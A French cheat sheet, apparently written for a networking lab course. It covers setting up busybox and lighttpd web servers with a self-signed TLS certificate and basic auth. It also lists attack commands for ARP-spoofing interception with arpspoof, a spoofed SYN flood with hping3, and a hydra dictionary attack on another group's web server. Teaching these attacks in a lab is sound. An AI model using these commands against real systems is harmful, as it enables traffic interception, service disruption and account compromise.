

Configuration et gestion du serveur web

```
# startx (Démarré l'interface graphique.)
# mkdir /var/www/html (Crée un répertoire pour les fichiers web.)
# busybox httpd -f -vv -h /var/www/html (Démarré le serveur web avec le répertoire spécifié.)
# nano /etc/hosts (Modifie le fichier hosts pour ajouter des noms d'hôtes.)
# ping 127.0.0.1 (Vérifie que le serveur web est accessible.)
```

Gestion de la sécurité et certificats SSL/TLS

```
# mkdir /etc/lighttpd/security (Crée un répertoire pour stocker les certificats SSL.)
# openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out alcest.crt -keyout alcest.key (Génère une clé privée et un certificat SSL auto-signé.)
# cat alcest.key alcest.crt > alcest.pem (Combine la clé privée et le certificat en un fichier PEM.)
# nano /etc/lighttpd/conf-enabled/tls.conf (Ouvre le fichier de configuration pour activer SSL/TLS.)
# echo "<username>:$(busybox httpd -m '<password>')" > /etc/lighttpd/security/alcest.auth (Crée un fichier d'authentification pour le serveur web.)
# systemctl start lighttpd (Démarré le serveur web sécurisé.)
```

Gestion du réseau et des attaques MITM

```
# echo 1 > /proc/sys/net/ipv4/ip_forward (Active le forwarding IP.)
# arpspoof -t <@IP cible> <@IP usurpée> (Intercepte le trafic entre deux machines.)
# wireshark -i eth0 -k (Démarré Wireshark pour capturer le trafic réseau.)
```

Attaque par Denial of Service (DoS)

```
# hping3 --flood --syn --spoof <@IP source usurpée> <@IP victime> (Envoie un grand nombre de paquets SYN pour saturer une cible.)
# htop (Surveille l'utilisation des ressources système.)
# tcpdump -i any (Analyse le trafic réseau en temps réel.)
```

Réseau étendu et configuration

```
# /sbin/ifconfig (Affiche la configuration réseau actuelle.)
# /mnt/netta/apps/vnet/nemu-vnet netadm (Lance le réseau virtuel sur le groupe principal.)
# ip route add <réseau>/<masque> via <passerelle> (Ajoute une route pour un réseau spécifique.)
# ping <IP de l'autre machine> (Vérifie la connectivité avec une autre machine.)
```

Attaque par dictionnaire

```
# most /opt/wordlist/places.gz (Consulte le contenu d'un fichier de mots de passe.)
# hydra -V -f -l admin -P <fichier de mots de passe> http-get://<IP nightwish de l'autre groupe> (Effectue une attaque par dictionnaire sur le site web.)
```

Arrêt des services

```
# poweroff (Arrête proprement la machine.)
# save() (Sauvegarde l'état de la session.)
# quit() (Quitte l'environnement principal.)
```



By **cacaboudinproute**

Not published yet.

Last updated 17th October, 2024.

Page 1 of 1.

Sponsored by **Readable.com**

Measure your website readability!

<https://readable.com>